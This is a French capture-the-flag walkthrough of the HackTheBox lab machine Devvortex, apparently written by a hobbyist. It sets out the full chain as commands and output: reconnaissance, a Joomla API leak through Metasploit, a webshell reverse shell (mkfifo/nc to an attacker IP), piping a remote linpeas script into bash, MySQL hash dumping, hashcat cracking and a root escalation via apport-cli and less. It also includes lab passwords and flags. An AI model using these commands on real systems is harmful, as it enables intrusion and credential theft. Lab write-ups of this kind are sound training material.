HackTheBox Walkthrough - Devvortex¶
Machine ciblée : Devvortex.
Répertoire : /home/kali/Devvortex
Temps passé dessus : 2h30.
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.
Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.
Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Devvortex"
repository="/home/kali/machines/$name"
ip="10.129.170.130"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Nmap scan report for Devvortex (10.129.170.130)
Host is up (0.067s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.ht b/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Sans trop de surprise sur une Linux, c’est un serveur web. Allons voir.
Phase 2 : Analyse¶
On lance la phase habituelle de reconnaissance à coup de gobuster puis l’on va regarder plus en détail le site.
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name --exclude-length 15
Bon, en regardant 2 minute le site, on voit qu’il y a juste une page index, donc fort à parier que gobuster va rien sortir. J’ai lancé également wfuzz sur les hôtes, ça match.
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:FUZZ.$name.$domain" --hl 7 http://$name.$domain
Target: http://Devvortex.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 501 L 1581 W 23221 Ch "dev"
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ cat /etc/hosts | head -n -1 | sudo tee /etc/hosts
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ echo "$ip $name $name.$domain dev.$name.$domain" | sudo tee -a /etc/hosts
10.129.170.130 Devvortex Devvortex.htb dev.Devvortex.htb
Ouais, ils soulent à toujours faire changer le hosts trois fois … Mais bon, on va voir le site en dev ! On relance un gobuster, miracle on a plus de chose :
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dev.$name.$domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.Devvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/home (Status: 200) [Size: 23221]
/templates (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/media (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/modules (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
Bon, le gobuster renvoie énormément de faux positif, le mec a été un peu piegeur. Mais quand l’on regarde le site web, on voit que les photos sont stockés sous http://dev.devvortex.htb/media/templates/site/cassiopeia/assets/img/about.jpg. Recherche google sur cassiopeia, il s’agit d’un temmlate pour joomla. Cette piste est confirmée un peu plus tard avec l’apparition d’un /administrator sur le gobuster qui nous emmène vers la page d’administration du joomla.
En cherchant un peu sur internet, on tombe sur une CVE sur l’API. On va voir si ça fonctionne … Demain car il est déjà minuit.
Bon, ou pas, j’ai vu que l’exploit se faisait à coup de metasploit, j’ai voulu tenter :
msf6 > use auxiliary/scanner/http/joomla_api_improper_access_checks
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > set RHOSTS dev.devvortex.htb
RHOSTS => dev.devvortex.htb
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > run
[+] Users JSON saved to /home/kali/.msf4/loot/20231128000231_default_10.129.170.130_joomla.users_338358.bin
[+] Joomla Users
============
ID Super User Name Username Email Send Email Register Date Last Visit Dat Group Names
e
-- ---------- ---- -------- ----- ---------- ------------- -------------- -----------
649 * lewis lewis lewis@devvortex.h 1 2023-09-25 16: 2023-10-29 16: Super Users
tb 44:24 18:50
650 logan paul logan logan@devvortex.h 0 2023-09-26 19: Registered
tb 15:42
[+] Config JSON saved to /home/kali/.msf4/loot/20231128000232_default_10.129.170.130_joomla.config_809537.bin
[+] Joomla Config
=============
Setting Value
------- -----
db encryption 0
db host localhost
db name joomla
db password P4ntherg0t1n5r3c0n##
db prefix sd4fg_
db user lewis
dbtype mysqli
Ok, il est minuit trois, je crois que j’ai un compte. Faudrait que je me penche plus en détail sur cette cve quand même parce que là, j’ai de quoi faire palir les scripts kiddies …
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ ssh lewis@$ip
2023-11-28 00:04:30 read UDPv4 [EMSGSIZE Path-MTU=1416]: Message too long (fd=3,code=90)
The authenticity of host '10.129.170.130 (10.129.170.130)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.170.130' (ED25519) to the list of known hosts.
lewis@10.129.170.130's password:
Mince, pas aussi simple. Et sur l’interface d’admin ?

Pas mal ça, trouvons rapidement la suite puis dodo. Pour rappel, le compte est lewis et le mot de passe P4ntherg0t1n5r3c0n##. Qui paris qu’il y a des informations en trop sur le compte de logan ?
Dommage, ça n’a pas l’air d’être ça.
Par contre, comme on est administrateur, on peut faire un peu ce que l’on veut sur le serveur, et cela inclus (entre autre), de se créer un webshell. Pour ça petite recherche google; et on trouve un plugin plutôt sympa. On suit la procédure pour l’installer … Et nous voilà avec nos reverse shell :
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ while true ; do rlwrap -car nc -lvnp 3333 ;done
listening on [any] 3333 ...
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.15.186%203333%20%3E%2Ftmp%2Ff"
connect to [10.10.15.186] from (UNKNOWN) [10.129.170.130] 57322
bash: cannot set terminal process group (826): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:/$
Phase 3 : User¶
Petite info assez sympa : l’ensemble des liens intéressants se trouvait aussi dans le fichier robots.txt !
www-data@devvortex:~/dev.devvortex.htb$ cat robots.txt
cat robots.txt
User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
J’ai bugé quelques temps pour savoir comment obtenir l’utilisateurs et j’ai cherché sur le forum, la plupart disent que c’est simple, un d’entre eux parle de bruteforce de mot de passe mais sans explications, j’ai du réfléchir puis j’en suis venu à la conclusion suivante :
Si
lewisa été assez c*n pour réutiliser son mot de passe sur la database et sur la page d’admin du joomla, alorslogana pu faire la même chose entre le serveur et le joomla.
On test de récupérer le creds de logan dans la base de donnée MySQL :
www-data@devvortex:~$ mysql -u lewis -pP4ntherg0t1n5r3c0n## --execute="USE joomla;select username,email,password from sd4fg_users;"
<a;select username,email,password from sd4fg_users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
username email password
lewis lewis@devvortex.htb $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan logan@devvortex.htb $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ hashcat ./hash
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 5700U with Radeon Graphics, 1435/2934 MB (512 MB allocatable), 4MCU
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
Started: Tue Nov 28 20:14:57 2023
Stopped: Tue Nov 28 20:15:01 2023
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ hashcat ./hash -m 3200 /usr/share/wordlists/rockyou.txt.gz
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy...tkIj12
Time.Started.....: Tue Nov 28 20:19:11 2023 (19 secs)
Time.Estimated...: Tue Nov 28 20:19:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 77 H/s (6.33ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1408/14344385 (0.01%)
Rejected.........: 0/1408 (0.00%)
Restore.Point....: 1392/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: moises -> tagged
Hardware.Mon.#1..: Util: 96%
Started: Tue Nov 28 20:19:05 2023
Stopped: Tue Nov 28 20:19:31 2023
En vrai, j’ai commencé par un SHOW DATABASES pui SHOW TABLES avant un select * puis j’ai filtré.
Après quelques seconds de hashcat, on trouve le mot de passe (ou plutôt el modo dé passo ?) de logan :
tequieromucho
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ ssh logan@$ip
logan@10.129.170.130's password:
Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~
logan@devvortex:~$ cat ./user.txt
2505109b8a17a5689272fb1fea94edb9
On est parti pour la seconde partie, la PE !
Phase 4 : Élévation de privilège¶
Bon, on commence comme toujours là aussi par un classique linpeas. Et comme on se connecte avec un compte, on va vérifier en même temps ce qu’on peut faire avec sudo.
┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
logan@devvortex:~$ curl http://10.10.15.186:8000/linpeas.sh | bash
logan@devvortex:~$ sudo -l
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Le linpeas sort rien de bien folichon, par contre, le sudo lui nous intéresse. Recherche google, on trouve que apport-cli est vulnérable.. Comment ça fonctionne ?
En faite, c’est assez basique, apport-cli permet de remonter des informations aux développeurs d’une application. Pour ça, il a besoin d’un fichier où envoyer les informations (ex : xxx.crash) et d’un programme qui aurait bugé (c’est là dessus que j’ai eu du mal).
Une fois que l’on a dit à apport-cli que le programme a bugé, il se lance dans un mode interactif qui nous permet de voir le rapport … Avec less. Petit tour sur GTFOBins, on voit que less peut exécuter des commandes et va donc nous permetre de devenir root.
logan@devvortex:~$ touch xxx.crash
logan@devvortex:~$ sudo apport-cli -c xxx.crash less
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
..............
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (1.7 KB)
V: View reportlogan@devvortex:~$ cat ./user.txt
2505109b8a17a5689272fb1fea94edb9
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
## Sur less : !/bin/bash
root@devvortex:/home/logan# cat ~/root.txt
3222a55cae20f88bb471cae44c90b854
Tadam
Récapitulatif¶
La machine est plutôt sympa, elle fait très réelle ! On commence par une page web, où l’on ne peut rien faire, on trouve un autre vhost, qui lui est un joomla. La faille sur joomla, je l’ai pas regardée. Mais en gros, le concept c’est que l’API est mal sécurisée et donc que l’on récupère des informations sensibles depuis celle là (le mot de passe de jonction à la base de donnée). Manque de pot, ce mot de passe est aussi celui de l’administrateur lewis. Une fois sur le serveur, on peut s’envoyer un webshell et ainsi récupérer les mots de passes présents dans la base de donnée du SQL. On crack le mot de passe (c’est la première fois que j’ai à faire ça et où je trouve ça bien fait !), ça nous donne notre compte. On trouve rapidement le binaire que l’on peut exécuter en tant que root, et on le défonce facilement.
A retenir¶
Il faut toujours faire attention à son implémentation des PAGER comme less. J’ai appris qu’il existe un lessecure (rigolo, on dirait qu’il est moins sécurisé), et qui ne permet pas les commandes de ce type. C’est plus intéressant.